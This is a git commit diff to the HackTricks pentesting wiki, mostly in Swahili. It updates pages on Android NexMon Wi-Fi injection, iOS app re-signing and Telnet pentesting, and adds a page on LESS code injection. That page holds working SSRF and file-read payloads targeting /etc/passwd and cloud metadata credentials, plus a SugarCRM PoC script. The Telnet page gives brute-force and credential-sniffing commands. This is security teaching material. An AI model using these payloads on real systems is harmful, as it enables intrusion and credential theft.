Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:37 +00:00
parent 680695759b
commit 9ee74b1781
6 changed files with 138 additions and 56 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -1,15 +1,15 @@
# Wezesha Modu ya Monitor ya NexMon & Uingizaji wa Pakiti kwenye Android (chips za Broadcom)
# Wezesha NexMon Monitor Mode & Packet Injection kwenye Android (chips za Broadcom)
{{#include ../../banners/hacktricks-training.md}}
## Muhtasari
Simu nyingi za kisasa za Android zina chip ya Wi-Fi ya Broadcom/Cypress ambayo inakuja bila uwezo wa modu ya monitor ya 802.11 au uingizaji wa fremu. Mfumo wa wazi wa NexMon unarekebisha firmware ya miliki ili kuongeza vipengele hivyo na kuviweka wazi kupitia maktaba ya pamoja (`libnexmon.so`) na msaidizi wa CLI (`nexutil`). Kwa kuingiza maktaba hiyo kwenye dereva wa Wi-Fi wa kawaida, kifaa kilichopandishwa mizizi kinaweza kukamata trafiki ya 802.11 na kuingiza fremu zisizo na mipaka kuondoa hitaji la adapta ya USB ya nje.
Simu nyingi za kisasa za Android zina chip ya Wi-Fi ya Broadcom/Cypress ambayo inakuja bila uwezo wa 802.11 monitor mode au frame-injection. Mfumo wa wazi wa NexMon unarekebisha firmware ya miliki ili kuongeza vipengele hivyo na kuviweka wazi kupitia maktaba ya pamoja (`libnexmon.so`) na msaidizi wa CLI (`nexutil`). Kwa kuingiza maktaba hiyo kwenye dereva wa Wi-Fi wa kawaida, kifaa kilichopandishwa haki kinaweza kukamata trafiki ya 802.11 na kuingiza fremu zisizo na mipaka kuondoa hitaji la adapter ya USB ya nje.
Ukurasa huu unadokeza mchakato wa haraka unaotumia Samsung Galaxy S10 iliyorekebishwa kikamilifu (BCM4375B1) kama mfano, ukitumia:
* Moduli ya NexMon Magisk inayojumuisha firmware iliyorekebishwa + `libnexmon.so`
* Programu ya Hijacker ya Android ili kuharakisha kubadilisha modu ya monitor
* Kali NetHunter chroot ya hiari ili kuendesha zana za kawaida za wireless (aircrack-ng, wifite, mdk4 …) moja kwa moja dhidi ya kiunganishi cha ndani
* Programu ya Hijacker ya Android ili kuharakisha kubadilisha monitor-mode
* Kali NetHunter chroot ya hiari ili kukimbia zana za kawaida za wireless (aircrack-ng, wifite, mdk4 …) moja kwa moja dhidi ya kiunganishi cha ndani
Teknolojia hiyo hiyo inatumika kwa simu yoyote ambayo ina patch ya NexMon inayopatikana hadharani (Pixel 1, Nexus 6P, Galaxy S7/S8, n.k.).
@ -17,19 +17,19 @@ Teknolojia hiyo hiyo inatumika kwa simu yoyote ambayo ina patch ya NexMon inayop
## Masharti
* Simu ya Android yenye chip ya Broadcom/Cypress inayoungwa mkono (mfano: BCM4358/59/43596/4375B1)
* Mizizi na Magisk ≥ 24
* Root na Magisk ≥ 24
* BusyBox (ROM nyingi/NetHunter tayari zinajumuisha)
* NexMon Magisk ZIP au patch iliyojitengeneza inayotoa:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* (Hiari) Kali NetHunter au chroot yoyote ya Linux ambapo unakusudia kuendesha zana za wireless
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Hiari) Kali NetHunter au chroot yoyote ya Linux ambapo unakusudia kukimbia zana za wireless
---
## Kuweka Patch ya NexMon (Magisk)
## Kuweka patch ya NexMon (Magisk)
1. Pakua ZIP kwa kifaa/chip yako sahihi (mfano: `nexmon-s10.zip`).
2. Fungua Magisk -> Moduli -> Sakinisha kutoka hifadhi -> chagua ZIP na upige rebooti.
2. Fungua Magisk -> Moduli -> Sakinisha kutoka kwenye hifadhi -> chagua ZIP na upige rebooti.
Moduli inakopya `libnexmon.so` kwenye `/data/adb/modules/<module>/lib*/` na kuhakikisha lebo za SELinux ni sahihi.
3. Thibitisha usakinishaji:
```bash
@ -40,7 +40,7 @@ sha1sum $(which nexutil)
---
## Kuweka Hijacker
Hijacker inaweza kubadilisha modu ya monitor kiotomatiki kabla ya kuendesha `airodump`, `wifite`, n.k. Katika **Mipangilio -> Ya Juu** ongeza entries zifuatazo (hariri njia ya maktaba ikiwa moduli yako inatofautiana):
Hijacker inaweza kubadilisha monitor mode kiotomatiki kabla ya kukimbia `airodump`, `wifite`, n.k. Katika **Settings -> Advanced** ongeza entries zifuatazo (hariri njia ya maktaba ikiwa moduli yako inatofautiana):
```
Prefix:
LD_PRELOAD=/data/user/0/com.hijacker/files/lib/libnexmon.so
@ -58,12 +58,12 @@ Ikiwa Hijacker inaonyesha makosa wakati wa uzinduzi, tengeneza saraka inayohitaj
mkdir -p /storage/emulated/0/Hijacker
```
### What do those `nexutil` flags mean?
* **`-s0x613`** Andika variable ya firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (wezesha TX ya fremu zisizo na mpangilio).
* **`-i`** Weka interface katika hali ya ufuatiliaji (kichwa cha radiotap kitaongezwa).
* **`-s0x613`** Andika variable ya firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (wezesha TX ya frames za kawaida).
* **`-i`** Weka interface katika hali ya monitor (kichwa cha radiotap kitaongezwa).
* **`-v2`** Weka kiwango cha maelezo; `2` inachapisha uthibitisho na toleo la firmware.
* **`-m0`** Rejesha hali ya usimamizi (inayotumika katika amri ya *disable*).
Baada ya kuendesha *Enable monitor mode* unapaswa kuona interface katika hali ya ufuatiliaji na uweze kukamata fremu za raw kwa:
Baada ya kuendesha *Enable monitor mode* unapaswa kuona interface katika hali ya monitor na uweze kukamata frames za raw na:
```bash
airodump-ng --band abg wlan0
```
@ -89,7 +89,7 @@ Zana za kawaida za mtumiaji katika Kali hazijui kuhusu NexMon, lakini unaweza ku
cp /sdcard/Download/kalilibnexmon.so <chroot>/lib/
```
2. Wezesha hali ya ufuatiliaji kutoka kwa **Android host** (amri hapo juu au kupitia Hijacker).
3. Anzisha zana yoyote ya wireless ndani ya Kali na preload:
3. Anzisha chombo chochote cha wireless ndani ya Kali na preload:
```bash
sudo su
export LD_PRELOAD=/lib/kalilibnexmon.so
@ -97,16 +97,16 @@ wifite -i wlan0 # au aircrack-ng, mdk4 …
```
4. Unapomaliza, zima hali ya ufuatiliaji kama kawaida kwenye Android.
Kwa sababu firmware tayari inashughulikia sindano ya radiotap, zana za mtumiaji zinafanya kazi kama kwenye adapter ya Atheros ya nje.
Kwa sababu firmware tayari inashughulikia kuingiza radiotap, zana za mtumiaji zinafanya kazi kama kwenye adapter ya Atheros ya nje.
---
## Mashambulizi ya Kawaida Yanayowezekana
Mara tu hali ya ufuatiliaji + TX inapoanzishwa unaweza:
Mara tu monitor + TX inapoanzishwa unaweza:
* Kukamata WPA(2/3-SAE) handshakes au PMKID kwa kutumia `wifite`, `hcxdumptool`, `airodump-ng`.
* Sindika fremu za kutenganisha / kutenganisha ili kulazimisha wateja kuungana tena.
* Tengeneza fremu za usimamizi/data zisizo za kawaida kwa kutumia `mdk4`, `aireplay-ng`, Scapy, nk.
* Jenga AP za uasi au fanya mashambulizi ya KARMA/MANA moja kwa moja kutoka kwa simu.
* Kuingiza frames za kuondoa uthibitisho / kutenganisha ili kulazimisha wateja kuungana tena.
* Kuunda frames za usimamizi/data za kiholela kwa kutumia `mdk4`, `aireplay-ng`, Scapy, nk.
* Kujenga AP za uasi au kufanya mashambulizi ya KARMA/MANA moja kwa moja kutoka kwa simu.
Utendaji kwenye Galaxy S10 ni sawa na NIC za USB za nje (~20 dBm TX, 2-3 M pps RX).
@ -115,8 +115,8 @@ Utendaji kwenye Galaxy S10 ni sawa na NIC za USB za nje (~20 dBm TX, 2-3 M pps R
## Kutatua Matatizo
* `Device or resource busy` hakikisha **huduma ya Wi-Fi ya Android imezimwa** (`svc wifi disable`) kabla ya kuwezesha hali ya ufuatiliaji.
* `nexutil: ioctl(PRIV_MAGIC) failed` maktaba haijapakiwa awali; angalia tena njia ya `LD_PRELOAD`.
* Sindano ya fremu inafanya kazi lakini hakuna pakiti zilizokamatwa baadhi ya ROMs zinaweza kuzuia vituo; jaribu `nexutil -c <channel>` au `iwconfig wlan0 channel <n>`.
* SELinux inazuia maktaba weka kifaa kuwa *Permissive* au rekebisha muktadha wa moduli: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
* Kuingiza frame kunafanya kazi lakini hakuna pakiti zilizokamatwa baadhi ya ROMs zinaweza kuzuia vituo; jaribu `nexutil -c <channel>` au `iwconfig wlan0 channel <n>`.
* SELinux inazuia maktaba weka kifaa kuwa *Permissive* au kurekebisha muktadha wa moduli: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
---

View File

@ -6,34 +6,34 @@
Programu zilizosainiwa na **entitlement `get_task_allow`** zinawaruhusu programu za upande wa tatu kuendesha kazi inayoitwa **`task_for_pid()`** na kitambulisho cha mchakato wa programu ya awali kama hoja ili kupata bandari ya kazi juu yake (kuwa na uwezo wa kuidhibiti na kufikia kumbukumbu yake).
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Digital Rights Management) **zinabatilishwa na programu haitafanya kazi**.
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Usimamizi wa Haki za Kidijitali) **zinabatilishwa na programu haitafanya kazi**.
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuomba tu kwa mteja kwa IPA iliyokodishwa.
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuwasiliana na mteja kwa IPA iliyokodishwa.
## Pata IPA iliyokodishwa
### Pata kutoka Apple
1. Funga programu ya kupima kwenye iPhone
2. Funga na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
1. Sakinisha programu ya kupima kwenye iPhone
2. Sakinisha na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye.
4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu.
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na kufunga IPA tayari, ujumbe wa kukuuliza ufungue programu tena utaonekana.
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umesakinisha IPA, ujumbe wa kukuuliza upya kusakinisha programu utaonekana.
6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua.
Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu.
### Kuikodisha programu
Ili kuikodisha IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitasaidiwa na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
Ili kuikodisha IPA tunakwenda kuisakinisha. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu toleo za hivi karibuni.
Hivyo, ili kuifunga, fungua tu IPA:
Hivyo, ili kuisakinisha, fungua IPA:
```bash
unzip redacted.ipa -d unzipped
```
Angalia `Info.plist` kwa toleo la chini linaloungwa mkono na ikiwa kifaa chako ni cha zamani zaidi ya hicho, badilisha thamani ili iweze kuungwa mkono.
Zip back the IPA:
Zipisha tena IPA:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
@ -49,9 +49,9 @@ Once intalled, you can use **Iridium tweak** from Cydia in order to obtain the d
### Patch entitlements & re-sign
Ili kusaini upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu kusaini kwa urahisi faili la IPA kwa kuashiria IPA ya kusaini upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia.
Ili ku-sign upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu ku-sign upya faili ya IPA kwa urahisi kwa kuashiria IPA ya ku-sign upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia.
Kuhusu cheti na profaili za kusaini, Apple inatoa **free developer signing profiles** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za developer** kwa kuingia kwenye `Settings``Privacy & Security`, na bonyeza `Developer Mode`.
Kuhusu cheti na profaili za kusaini, Apple inatoa **free developer signing profiles** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za developer** kwa kuenda `Settings``Privacy & Security`, na bonyeza `Developer Mode`.
With the re-signed IPA, it's time to install it in the device to pentest it:
```bash
@ -67,7 +67,7 @@ Tangu iOS 16 Apple ilianzisha **Hali ya Mwandishi**: binary yoyote inayobeba `ge
2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandishi** na iwashe.
3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandishi.
Hali ya Mwandishi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama.
Hali ya Mwandishi inabaki kuwa hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama.
### Chaguzi za kisasa za sideloading
@ -75,14 +75,14 @@ Sasa kuna njia kadhaa za kisasa za sideloading na kuweka IPAs zilizosainiwa up-t
| Chombo | Mahitaji | Nguvu | Mipaka |
|--------|----------|-------|--------|
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa profaili ya bure ya maendeleo | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
| **TrollStore 1/2** | Kifaa kwenye iOS 14 15.4.1 kilicho hatarini kwa hitilafu ya CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inahitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (hitilafu imefanyiwa marekebisho) |
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa profaili ya bure ya mwandishi | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
| **TrollStore 1/2** | Kifaa kwenye iOS 14 15.4.1 kilichokuwa na udhaifu wa CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inayohitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (bug ilirekebishwa) |
Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store mara nyingi ni chaguo bora zaidi.
### Hooking / uhandisi wa dynamic
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofungwa mara tu inapokuwa imesainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa wazi:
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofunguliwa mara tu inapokuwa imesainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa juu:
```bash
# Spawn & attach with objection
objection -g "com.example.target" explore
@ -92,9 +92,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
```
Recent Frida releases (>=16) automatically handle pointer authentication and other iOS 17 mitigations, so most existing scripts work out-of-the-box.
### Automated dynamic analysis with MobSF (no jailbreak)
### Uchambuzi wa kiotomatiki wa dynamic na MobSF (bila jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyosainiwa na mende kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【†L2-L3】. Njia ya haraka ni kuendesha MobSF kwenye Docker na kisha kuunganisha iPhone yako kupitia USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyosainiwa na developer kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【】. Njia ya haraka ni kuendesha MobSF kwenye Docker kisha kuunganisha iPhone yako kupitia USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -106,13 +106,13 @@ MobSF itapeleka kiotomatiki binary, iwezeshe seva ya Frida ndani ya sandbox ya p
### iOS 17 & Kikwazo cha Modu ya Kufunga
* **Modu ya Kufunga** (Mipangilio → Faragha & Usalama) inazuia linker ya dinamik kutoka kupakia maktaba za dinamik zisizosainiwa au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na modhi hii iliyoanzishwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
* **Modu ya Kufunga** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na modhi hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
* Uthibitishaji wa Kidokezo (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — hakikisha unashikilia *frida-server* na zana za Python/CLI zikiwa za kisasa kila wakati toleo jipya kuu la iOS linapotolewa.
## Marejeleo
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
- Hati za maendeleo za Apple Kuanzisha Modu ya Mende kwenye kifaa: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- Hati za maendeleo za Apple Kuwezesha Modu ya Mende kwenye kifaa: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- Mfumo wa Usalama wa Simu (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,15 +3,15 @@
{{#include ../banners/hacktricks-training.md}}
## **Msingi wa Taarifa**
## **Basic Information**
Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao.
**Bandari ya kawaida:** 23
**Default port:** 23
```
23/tcp open telnet
```
## **Uainishaji**
## **Uhesabu**
### **Kuchukua Bango**
```bash
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows).
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitasimamiwa na zinaweza kutumika na muundo wa "**DO, DON'T, WILL, WON'T**" ili kuruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina zaidi (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika na muundo wa "**DO, DON'T, WILL, WON'T**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
**Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.**
@ -69,15 +69,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
### Recent Vulnerabilities (2022-2025)
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Huduma ya Telnet iliyojengwa ndani ilikubali akauti za hard-coded na ikashindwa kusafisha ingizo, ikiruhusu RCE isiyo na uthibitisho kama root kupitia amri zilizoundwa kwenye bandari 23. Imefanyiwa marekebisho katika firmware ≥ 1.04B05.
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Huduma ya Telnet iliyojengwa ndani ilikubali akreditivu zilizowekwa kwa nguvu na ikashindwa kusafisha ingizo, ikiruhusu RCE isiyoidhinishwa kama root kupitia amri zilizoundwa kwenye bandari 23. Imefanyiwa marekebisho katika firmware ≥ 1.04B05.
* **CVE-2023-40478 NETGEAR RAX30**: Overflow ya buffer inayotegemea stack katika amri ya Telnet CLI `passwd` inaruhusu mshambuliaji wa karibu kupita uthibitisho na kutekeleza msimbo wa kawaida kama root.
* **CVE-2022-39028 GNU inetutils telnetd**: Mfuatano wa byte mbili (`0xff 0xf7` / `0xff 0xf8`) unachochea dereference ya NULL-pointer ambayo inaweza kusababisha `telnetd` kuanguka, na kusababisha DoS ya kudumu baada ya kuanguka kadhaa.
* **CVE-2022-39028 GNU inetutils telnetd**: Mfuatano wa byte mbili (`0xff 0xf7` / `0xff 0xf8`) unachochea dereference ya pointer ya NULL ambayo inaweza kusababisha `telnetd` kuanguka, na kusababisha DoS ya kudumu baada ya kuanguka kadhaa.
Hifadhi hizi CVEs akilini wakati wa uchambuzi wa udhaifu—ikiwa lengo linaendesha firmware isiyo na patch au daemon ya Telnet ya zamani ya inetutils unaweza kuwa na njia rahisi ya kutekeleza msimbo au DoS inayosababisha usumbufu.
Keep these CVEs in mind during vulnerability triage—if the target is running an un-patched firmware or legacy inetutils Telnet daemon you may have a straight-forward path to code-execution or a disruptive DoS.
### Sniffing Credentials & Man-in-the-Middle
Telnet inapeleka kila kitu, ikiwa ni pamoja na akauti, katika **clear-text**. Njia mbili za haraka za kuziteka:
Telnet transmits everything, including credentials, in **clear-text**. Njia mbili za haraka za kuziteka:
```bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
```
Kwa MITM hai, changanya ARP spoofing (mfano `arpspoof`/`ettercap`) na vichujio vya kunusa sawa ili kukusanya nywila kwenye mitandao iliyopangwa.
Kwa MITM hai, changanya ARP spoofing (mfano `arpspoof`/`ettercap`) na vichujio vya kunusa sawa ili kukusanya nywila kwenye mitandao iliyowekwa.
### Automated Brute-force / Password Spraying
```bash
@ -98,9 +98,9 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
```
Most IoT botnets (Mirai variants) bado zinachunguza port 23 kwa kamusi ndogo za akidi za default—kuakisi mantiki hiyo kunaweza kubaini vifaa dhaifu haraka.
Most IoT botnets (Mirai variants) bado zinachunguza port 23 kwa kamusi ndogo za akidi za default—kuakisi mantiki hiyo kunaweza kutambua haraka vifaa dhaifu.
### Ukatili & Baada ya Ukatili
### Exploitation & Post-Exploitation
Metasploit ina moduli kadhaa za manufaa:
@ -111,16 +111,16 @@ Metasploit ina moduli kadhaa za manufaa:
Baada ya kupata shell kumbuka kwamba **TTYs kwa kawaida ni za kijinga**; sasisha kwa `python -c 'import pty;pty.spawn("/bin/bash")'` au tumia [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md).
### Kuimarisha & Ugunduzi (Kona ya timu ya Blue)
### Hardening & Detection (Blue team corner)
1. Prefer SSH na uondoe huduma ya Telnet kabisa.
2. Ikiwa Telnet inahitajika, iunganishe tu na VLAN za usimamizi, enforce ACLs na ufunge daemon na TCP wrappers (`/etc/hosts.allow`).
2. Ikiwa Telnet inahitajika, iunganishe tu na VLANs za usimamizi, enforce ACLs na ufunge daemon na TCP wrappers (`/etc/hosts.allow`).
3. Badilisha utekelezaji wa zamani wa `telnetd` na `ssl-telnet` au `telnetd-ssl` kuongeza usimbaji wa usafirishaji, lakini **hii inalinda tu data-in-transit—kukisia nywila bado ni rahisi**.
4. Fuata trafiki ya nje kuelekea port 23; makosa mara nyingi huzaa shell za kurudi kupitia Telnet ili kupita vichujio vya egress vya HTTP kali.
4. Fuata trafiki ya nje kuelekea port 23; makosa mara nyingi huzaa shells za kurudi kupitia Telnet ili kupita vichujio vya egress vya HTTP kali.
## Marejeleo
## References
* D-Link Advisory CVE-2024-45698 Critical Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Overview
LESS ni pre-processor maarufu wa CSS inayoongeza mabadiliko, mixins, kazi na amri yenye nguvu `@import`. Wakati wa uundaji injini ya LESS itafanya **kupata rasilimali zilizotajwa katika amri za `@import`** na kuingiza ("inline") maudhui yao katika CSS inayotokana wakati chaguo la `(inline)` linapotumika.
Wakati programu inachanganya **ingizo linalodhibitiwa na mtumiaji** katika mfuatano ambao baadaye unachambuliwa na mkusanyiko wa LESS, mshambuliaji anaweza **kuiingiza msimbo wa LESS wa kiholela**. Kwa kutumia `@import (inline)` mshambuliaji anaweza kulazimisha seva kupata:
* Faili za ndani kupitia itifaki ya `file://` (ufichuzi wa taarifa / Ujumuishaji wa Faili za Ndani).
* Rasilimali za mbali kwenye mitandao ya ndani au huduma za metadata za wingu (SSRF).
Teknik hii imeonekana katika bidhaa halisi kama **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Exploitation
1. Tambua parameter ambayo imeingizwa moja kwa moja ndani ya mfuatano wa mtindo unaoshughulikiwa na injini ya LESS (mfano `?lm=` katika SugarCRM).
2. Funga taarifa ya sasa na uingize amri mpya. Msingi wa kawaida ni:
* `;` inamaliza tamko la awali.
* `}` inafunga block ya awali (ikiwa inahitajika).
3. Tumia `@import (inline) '<URL>';` kusoma rasilimali za kiholela.
4. Kwa hiari, ingiza **alama** (`data:` URI) baada ya kuagiza ili kurahisisha uchimbaji wa maudhui yaliyopatikana kutoka kwa CSS iliyokusanywa.
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Maudhui ya `/etc/passwd` yataonekana katika jibu la HTTP kabla ya alama ya `@@END@@`.
### SSRF Metadata ya Wingu
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### PoC ya Kiotomatiki (mfano wa SugarCRM)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detection
* Angalia majibu ya `.less` au `.css` yanayozalishwa kwa dinamik ambayo yana vigezo vya swali visivyosafishwa.
* Wakati wa ukaguzi wa msimbo, tafuta ujenzi kama `"@media all { .preview { ... ${userInput} ... } }"` unaopitishwa kwa kazi za kuunda LESS.
* Jaribio la kutumia mara nyingi linajumuisha `@import`, `(inline)`, `file://`, `http://169.254.169.254`, n.k.
## Mitigations
